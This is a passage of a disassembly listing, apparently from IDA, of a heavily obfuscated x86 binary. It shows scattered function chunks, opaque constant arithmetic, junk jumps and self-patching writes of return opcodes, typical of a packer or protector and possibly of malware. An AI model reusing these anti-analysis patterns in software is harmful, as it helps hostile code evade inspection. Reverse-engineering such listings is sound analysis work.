; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_440081:				; CODE XREF: sub_43FFE2+39E7j
		jmp	loc_43CC91
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C921

loc_440086:				; CODE XREF: sub_44C921:loc_44056Ej
		lea	eax, loc_4450EC
		mov	byte ptr [eax],	0C3h
		jmp	loc_4450EC
; END OF FUNCTION CHUNK	FOR sub_44C921
; ---------------------------------------------------------------------------
		push	ecx
		push	0DB89D641h
		pop	ecx
		rol	ecx, 0Bh
		xor	ecx, 0F5FA3DF2h
		cmp	ecx, 95A860CFh
		jmp	loc_4481DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABAA

loc_4400AF:				; CODE XREF: sub_44ABAA:loc_440488j
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		call	sub_43D7AB
; END OF FUNCTION CHUNK	FOR sub_44ABAA
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_4400B9:				; CODE XREF: sub_4385ED:loc_4408E5j
		shl	eax, 2
		cdq
		jno	loc_442A6C
		add	eax, [esp-0Ch+arg_8]
		call	sub_4489FA

loc_4400CB:				; CODE XREF: sub_43D246+104AAj
		jmp	loc_441522
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_4400D0:				; CODE XREF: sub_44B17B-A4F9j
		jmp	loc_43D732
; END OF FUNCTION CHUNK	FOR sub_44B17B

; =============== S U B	R O U T	I N E =======================================



sub_4400D5	proc near		; DATA XREF: y22d6.y.:00443264o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C04F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043CF60 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E155 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F883 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00449ED7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E22A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E55D SIZE 00000016 BYTES

		push	ecx
		push	538E913Fh
		xchg	esi, [esp+8+var_8]
		mov	ecx, esi
		pop	esi
		rol	ecx, 12h
		test	ecx, 200000h
		jmp	loc_449ED7
sub_4400D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4400EF	proc near		; CODE XREF: y22d6.y.:00442EC9p
					; y22d6.y.:004440CCj
		xchg	ecx, [esp+0]
		pop	ecx
		jnz	loc_444D67
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
		jmp	loc_444D67
sub_4400EF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_440105:				; CODE XREF: sub_43837F+4j
					; sub_43837F+27CAj
		cmp	dword ptr [ebp-1Ch], 67h
		jmp	loc_438F50
; END OF FUNCTION CHUNK	FOR sub_43837F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44529A

loc_44010E:				; CODE XREF: sub_44529A:loc_43F143j
		and	edx, ds:4000E6h
		add	edx, 743DBF5Ch
		mov	[edx], eax
		pop	edx
		jmp	loc_43E949
; END OF FUNCTION CHUNK	FOR sub_44529A
; ---------------------------------------------------------------------------

loc_440122:				; CODE XREF: y22d6.y.:0043CDF2j
		cmp	ebx, 2F74D19Dh
		jmp	loc_446E2D
; ---------------------------------------------------------------------------
		add	ecx, eax
		jmp	loc_448B13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_440134:				; CODE XREF: sub_439051:loc_43B791j
		cmp	edi, ecx
		jmp	loc_4398CA
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
		mov	ds:dword_41E134, eax
		lea	eax, nullsub_351
		mov	byte ptr [eax],	0C3h
		jmp	loc_44C989
; ---------------------------------------------------------------------------
		push	ebx
		push	0FDFA59E6h
		xchg	eax, [esp]
		mov	ebx, eax
		jmp	loc_44B590
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_44015F:				; CODE XREF: sub_43C712:loc_43AC69j
		popf
		xchg	eax, [esp+0]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_440168:				; CODE XREF: sub_4432B8-3B06j
					; sub_4432B8:loc_44A43Cj ...
		call	sub_44D793
; END OF FUNCTION CHUNK	FOR sub_4432B8
; START	OF FUNCTION CHUNK FOR sub_44D063

loc_44016D:				; CODE XREF: sub_44D063+13j
		jmp	loc_438262
; END OF FUNCTION CHUNK	FOR sub_44D063
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4497AF

loc_440173:				; CODE XREF: sub_4497AF+9j
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_4497AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44374A

loc_440178:				; CODE XREF: sub_44374A+Cj
		jmp	loc_440908
; END OF FUNCTION CHUNK	FOR sub_44374A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B01

loc_44017D:				; CODE XREF: sub_437B01+4277j
		test	ebp, 0ABFF2FC7h
		jmp	loc_43D691
; END OF FUNCTION CHUNK	FOR sub_437B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441030

loc_440188:				; CODE XREF: sub_441030:loc_43E8F0j
		jz	loc_43CE13

loc_44018E:				; CODE XREF: sub_44BAC8-27A0j
		jmp	nullsub_81
; END OF FUNCTION CHUNK	FOR sub_441030
; ---------------------------------------------------------------------------
		push	65CC06D0h
		xchg	ebp, edi
		and	edx, 118E7A64h
		jmp	loc_43CE13
; ---------------------------------------------------------------------------

loc_4401A5:				; CODE XREF: y22d6.y.:0044D081j
		jo	loc_43F667
		not	eax

loc_4401AD:				; CODE XREF: y22d6.y.:loc_443ED1j
		mov	eax, [esp]
		push	esi
		push	82BC6CABh
		pop	esi
		add	esi, 25D28697h
		jmp	loc_44CF1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44540D

loc_4401C2:				; CODE XREF: sub_44540D+8A33j
		lea	eax, [ebp-14h]
		xor	edx, edx
		call	sub_44D088
		call	sub_43F501
		call	nullsub_5
; END OF FUNCTION CHUNK	FOR sub_44540D
; START	OF FUNCTION CHUNK FOR sub_443EF1

loc_4401D6:				; CODE XREF: sub_443EF1+Cj
					; sub_44540D:loc_44DE1Fj
		mov	eax, ds:dword_442A78
		mov	[ebp-4], eax
		jmp	loc_44717A
; END OF FUNCTION CHUNK	FOR sub_443EF1

; =============== S U B	R O U T	I N E =======================================



sub_4401E3	proc near		; DATA XREF: y22d6.y.:00446F7Ao
		call	sub_44D293
		retn
sub_4401E3	endp

; ---------------------------------------------------------------------------
		db 0F3h, 0DCh, 0Fh
dword_4401EC	dd 0			; DATA XREF: y22d6.y.:loc_445EB8r
					; y22d6.y.:00446F73w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_4401F0:				; CODE XREF: sub_43C7C1+72F2j
		jmp	loc_43E26D
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_4401F5:				; CODE XREF: sub_44B489-124E8j
		jmp	loc_43E343
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
		dw 2AD1h
dword_4401FC	dd 8B52284Dh, 0B1B123h,	4A01880Fh, 158B0000h, 4483B0h
					; DATA XREF: sub_43A4E4+5o
					; sub_4383E0+410Fo
		dd 850FD209h, 85DEh, 72BEE9h
		db 0
; ---------------------------------------------------------------------------

loc_44021D:				; CODE XREF: y22d6.y.:loc_440E99j
		jz	loc_448C0F
		jmp	loc_441944
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_440228:				; CODE XREF: sub_448EB6:loc_449049j
		push	edx
		call	sub_44A413
		mov	eax, 83ED7AACh
		call	sub_43CA1A
		push	offset sub_441EC4
		jmp	nullsub_339
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C242

loc_440242:				; CODE XREF: sub_43C242+437Ej
		xor	edx, 0D9CD8588h
		not	esi

loc_44024A:				; CODE XREF: sub_4432B8:loc_445E64j
		sbb	eax, edi

loc_44024C:				; CODE XREF: sub_44D22A:loc_439C88j
					; sub_4432B8:loc_443556j ...
		jmp	loc_44130B
; ---------------------------------------------------------------------------

loc_440251:				; CODE XREF: sub_43C242+6DDAj
					; sub_44D22A+9j
		pop	ecx
		jmp	loc_4463C7
; END OF FUNCTION CHUNK	FOR sub_43C242
; ---------------------------------------------------------------------------

loc_440257:				; CODE XREF: y22d6.y.:0043E43Bj
		pop	eax
		add	eax, 0AFB05A20h
		xor	eax, 0D3140D79h
		or	eax, 3068BEABh
		jmp	loc_4431B7
; ---------------------------------------------------------------------------
		shl	ebp, 18h
		jmp	sub_43C242
; ---------------------------------------------------------------------------
		xchg	ecx, [eax]

loc_440279:				; CODE XREF: y22d6.y.:loc_447BE4j
		jmp	loc_43B3CB
; ---------------------------------------------------------------------------

loc_44027E:				; CODE XREF: y22d6.y.:0044A709j
		or	edx, esi

; =============== S U B	R O U T	I N E =======================================



sub_440280	proc near		; CODE XREF: sub_43AD3D+2A40p

; FUNCTION CHUNK AT 00437573 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00438040 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00438AEA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00438E25 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00438E57 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00438EF6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043912E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A8A9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043DF14 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E911 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0043ED9E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043FAD5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FBCC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043FC52 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FFB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441C14 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00441DFB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044206B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044210A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00442450 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443DC5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00446110 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00447757 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044785C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004479A0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00447A35 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00447F74 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044819E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448374 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00448888 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004488EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004489EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004493F8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044A316 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A4C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A88F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044B235 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B275 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BA63 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044C368 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CFB3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044D2FA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044D562 SIZE 00000012 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	al, [eax]
		jnz	loc_443DC5
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_44A88F
sub_440280	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_440296:				; CODE XREF: y22d6.y.:0043CACCj
		push	ecx
		push	87A17607h
		pop	ecx
		and	ecx, 37AAAC81h
		xor	ecx, 0FEBD7D0Dh
		or	ecx, 1831FB42h
		jmp	loc_44BB55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_4402B4:				; CODE XREF: sub_4480DE-FE27j
		jnz	loc_44C443
		call	sub_4496A3

loc_4402BF:				; CODE XREF: sub_43AC5C+13392j
		jmp	loc_43F869
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B3C9

loc_4402C4:				; CODE XREF: sub_44B3C9-C355j
		jmp	sub_44B3C9
; END OF FUNCTION CHUNK	FOR sub_44B3C9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_306. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_4402CA:				; CODE XREF: sub_439051:loc_440FD0j
		push	offset sub_43AF5B
		jmp	loc_446400
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------

loc_4402D4:				; CODE XREF: y22d6.y.:loc_448882j
					; y22d6.y.:004488A2j
		and	eax, 0A1C6E58Eh
		jnz	loc_44D992

loc_4402E0:				; CODE XREF: y22d6.y.:0043D241j
		jmp	loc_43FCCE
; ---------------------------------------------------------------------------
		push	0EFC66ADEh
		sbb	edi, 0E189CCE5h
		jmp	loc_43B553
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_4402F5:				; CODE XREF: sub_43C6D7:loc_4447DEj
		cdq
		add	ebp, ebx
		mov	ebx, 21473166h
		jb	loc_44270C
		jmp	loc_43D1E3
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C96

loc_440308:				; CODE XREF: sub_439C96:loc_43956Aj
					; sub_439C96+D6EDj
		mov	eax, [esp+0]
		call	sub_4396B2

loc_440310:				; CODE XREF: sub_439C96+6j
					; y22d6.y.:0043F07Bj
		call	sub_44364E

loc_440315:				; CODE XREF: sub_4424AC-A030j
		jmp	loc_43F938
; END OF FUNCTION CHUNK	FOR sub_439C96
; ---------------------------------------------------------------------------
		jmp	ds:off_41E14C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443778

loc_440320:				; CODE XREF: sub_441A2B-9BF7j
					; sub_4407AE+18j ...
		jnz	loc_4407CB
		push	offset loc_44381B
		jmp	loc_4459C3
; END OF FUNCTION CHUNK	FOR sub_443778

; =============== S U B	R O U T	I N E =======================================



sub_440330	proc near		; CODE XREF: y22d6.y.:004377BAj
					; sub_44B267+4p

; FUNCTION CHUNK AT 004377A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A2BB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C2DE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043DF0B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00446051 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044C30D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044CD85 SIZE 00000013 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		jmp	loc_446051
sub_440330	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_44033F:				; CODE XREF: y22d6.y.:00446E8Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4456C2

loc_440340:				; CODE XREF: sub_4456C2+8j
		rol	eax, 0Ah
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4456C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444822

loc_440345:				; CODE XREF: sub_444822+13j
		jmp	loc_44758A
; END OF FUNCTION CHUNK	FOR sub_444822
; ---------------------------------------------------------------------------

loc_44034A:				; CODE XREF: y22d6.y.:00442D32j
		jmp	loc_43C5B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_44034F:				; CODE XREF: sub_44B489-E334j
		jmp	loc_44454F
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
dword_440354	dd 39C01BBFh		; DATA XREF: sub_43B0EE+367Br
					; sub_43B09B:loc_44D28Cw
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C41

loc_440359:				; CODE XREF: sub_442C41:loc_438F79j
					; sub_442C41+8C38j ...
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		jmp	nullsub_181
; END OF FUNCTION CHUNK	FOR sub_442C41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_440364:				; CODE XREF: sub_448EB6:loc_44CF1Bj
		xor	esi, 32AAA2CFh
		add	esi, 7F082CE9h
		sub	esi, 0B020AF9Ch
		add	esi, 9738E774h
		xchg	esi, [esp+8+var_8]
		jmp	sub_4396B2
; ---------------------------------------------------------------------------

loc_440384:				; CODE XREF: sub_448EB6:loc_43BE85j
		jnz	loc_43ABDD
		mov	edi, 0A5B1DAD6h
		cdq
		jmp	loc_43ABDD
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_440395	proc near		; DATA XREF: y22d6.y.:loc_44A432o

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A232 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043C7E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442C7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445740 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044628D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00447505 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044890C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448CEF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AEC1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C481 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CCCA SIZE 00000010 BYTES

		call	nullsub_206
		call	sub_447CBE
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jmp	loc_44C481
sub_440395	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_4403B2:				; CODE XREF: sub_441F08:loc_43AE81j
		mov	eax, ecx
		xchg	eax, [esp-8+arg_4]
		mov	ecx, edx
		xchg	ecx, [esp-8+arg_4]
		push	eax
		push	30E0B622h
		xchg	edi, [esp+0]
		mov	eax, edi
		jmp	loc_437E0D
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------

loc_4403CC:				; CODE XREF: y22d6.y.:0043A84Aj
		push	eax
		mov	edx, eax
		call	sub_44D088
		push	offset loc_447A64
		jmp	loc_44D200
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_336. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_4403DF:				; CODE XREF: y22d6.y.:loc_44E325j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449307

loc_4403E0:				; CODE XREF: sub_449307+Cj
		jmp	sub_44DE8D
; END OF FUNCTION CHUNK	FOR sub_449307
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_4403E5:				; CODE XREF: sub_44B489-1028j
		add	ecx, 0C48B5D8Ch
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_44D293
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
		adc	edx, 0E5EB289Ah
		jmp	loc_44A970
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44123E

loc_4403FF:				; CODE XREF: sub_44123E+798Aj
		jmp	loc_43929F
; END OF FUNCTION CHUNK	FOR sub_44123E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_440404:				; CODE XREF: y22d6.y.:0044ACC2j
					; sub_44B489+1A04j
		jge	loc_44A47C
; END OF FUNCTION CHUNK	FOR sub_44B489
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44040A:				; CODE XREF: sub_448EB6+10Ej
		jmp	loc_43E1EC
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443EF1

loc_44040F:				; CODE XREF: sub_443EF1+1Aj
		jmp	loc_43BB94
; END OF FUNCTION CHUNK	FOR sub_443EF1
; ---------------------------------------------------------------------------
		shl	esi, 13h
		ja	loc_439C56
		ror	edi, 0Fh
		cmp	eax, esi
		jmp	loc_447363
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_440428:				; CODE XREF: y22d6.y.:loc_449458j
					; y22d6.y.:0044BEDFj
		jmp	loc_44A928
; ---------------------------------------------------------------------------

loc_44042D:				; CODE XREF: y22d6.y.:0043ED8Bj
		jmp	loc_444F06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_440432:				; CODE XREF: sub_43EC1C+A1D2j
		jnz	loc_43EF08
		jmp	loc_4384AA
; END OF FUNCTION CHUNK	FOR sub_43EC1C
; ---------------------------------------------------------------------------
		add	ecx, 0D6B9BDAAh
		jmp	sub_439B2C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	eax
		jmp	sub_44850D
; ---------------------------------------------------------------------------

loc_44044F:				; DATA XREF: y22d6.y.:00447E1Do
		push	ecx
		push	3D447CE0h
		pop	ecx
		add	ecx, 67A8F6B8h
		and	ecx, 0BEF94913h
		sub	ecx, 0FF13F712h
		test	ecx, 100000h
		jmp	loc_439128
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_440473:				; CODE XREF: sub_4475B3:loc_44D834j
		pop	ebx
		mov	eax, [esp-8+arg_4]
		push	edx
		call	sub_44A46F
		jmp	loc_44AEFF
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439096

loc_440482:				; CODE XREF: sub_439096+5412j
		jl	loc_442B9B
; END OF FUNCTION CHUNK	FOR sub_439096
; START	OF FUNCTION CHUNK FOR sub_44ABAA

loc_440488:				; CODE XREF: sub_44ABAA+1j
		jmp	loc_4400AF
; END OF FUNCTION CHUNK	FOR sub_44ABAA
; ---------------------------------------------------------------------------
		test	ecx, ebp
		jmp	loc_442B94

; =============== S U B	R O U T	I N E =======================================



sub_440494	proc near		; CODE XREF: y22d6.y.:0043F97Bj
					; sub_44B06F:loc_44DFF3p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004377FA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00438EC0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004397D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A25C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043D996 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DAD9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E020 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00442ED3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444193 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445A3B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00448E8F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004494E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C69F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044CF6A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044DC7D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044E42F SIZE 00000012 BYTES

		xchg	ebx, [esp+4+var_4]
		pop	ebx
		mov	eax, [ebp-4]
		mov	al, [eax]
		js	loc_4377FA
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_448E8F
sub_440494	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_4404AD:				; CODE XREF: sub_44271A+47CCj
		jg	loc_449E4F
		add	esi, ebp

loc_4404B5:				; CODE XREF: sub_43CBD3:loc_44E5D6j
		push	esi
		push	6AED1C8Eh
		pop	esi
		xor	esi, 8A5F8931h
		jmp	loc_44A54B
; END OF FUNCTION CHUNK	FOR sub_44271A

; =============== S U B	R O U T	I N E =======================================



sub_4404C7	proc near		; CODE XREF: y22d6.y.:0044475Ej
					; sub_4485B6+7p
		xchg	esi, [esp+0]
sub_4404C7	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4404CA:				; CODE XREF: sub_4432B8-113Cj
		pop	esi
		cmp	eax, 7C61090Eh
		retn
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_4404D1	proc near		; CODE XREF: sub_4470B1+13p
					; sub_43A041:loc_44A931p

; FUNCTION CHUNK AT 00443205 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004439FB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00448029 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CFCA SIZE 00000005 BYTES

		xor	bx, bx
		add	ebx, 10000h

loc_4404DA:				; CODE XREF: sub_4404D1+3538j
					; sub_4404D1+7B5Cj
		jb	loc_443205
		jmp	loc_4439FB
sub_4404D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4404E5	proc near		; CODE XREF: y22d6.y.:004449EBj
					; sub_43E86C+CE92p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004384C3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043D9A1 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044810C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004486CB SIZE 00000005 BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		pop	edi
		mov	esi, [eax]

loc_4404EC:				; CODE XREF: y22d6.y.:0043E1D5j
		add	eax, 4
		mov	ebp, [eax]
		jmp	loc_4486CB
sub_4404E5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FC1E

loc_4404F6:				; CODE XREF: sub_43FC1E+12j
		jz	loc_437B31
		jmp	loc_43858F
; END OF FUNCTION CHUNK	FOR sub_43FC1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_440501:				; CODE XREF: sub_448EB6+D01j
		js	loc_44D0F8
		jl	loc_4476C3

loc_44050D:				; CODE XREF: sub_448EB6:loc_43CD96j
		or	edx, 180A19BDh
		push	offset loc_43FB54
		jmp	nullsub_127
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_44051D	proc near		; DATA XREF: sub_448EB6-EF6o

; FUNCTION CHUNK AT 00438EB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441A0E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044A2D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CCEF SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0044D272 SIZE 0000001A BYTES

		jnz	loc_44D272
		mov	eax, [ebp-8]
		mov	byte ptr [eax],	0
		mov	esp, ebp
		pop	ebp
		retn
sub_44051D	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44052E:				; CODE XREF: y22d6.y.:0044A1C9j
		jmp	loc_447CDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5E5

loc_440533:				; CODE XREF: sub_4432B8+2EBj
					; sub_44A5E5+6j
		js	loc_449E15
		mov	eax, [esp+4+var_4]
		push	edx
		push	edi
		jmp	loc_43E8C5
; END OF FUNCTION CHUNK	FOR sub_44A5E5

; =============== S U B	R O U T	I N E =======================================



sub_440543	proc near		; DATA XREF: y22d6.y.:00442F06o

; FUNCTION CHUNK AT 0043DE9A SIZE 0000001A BYTES

		mov	eax, [esp+0]
		push	edx
		call	sub_44ABC9
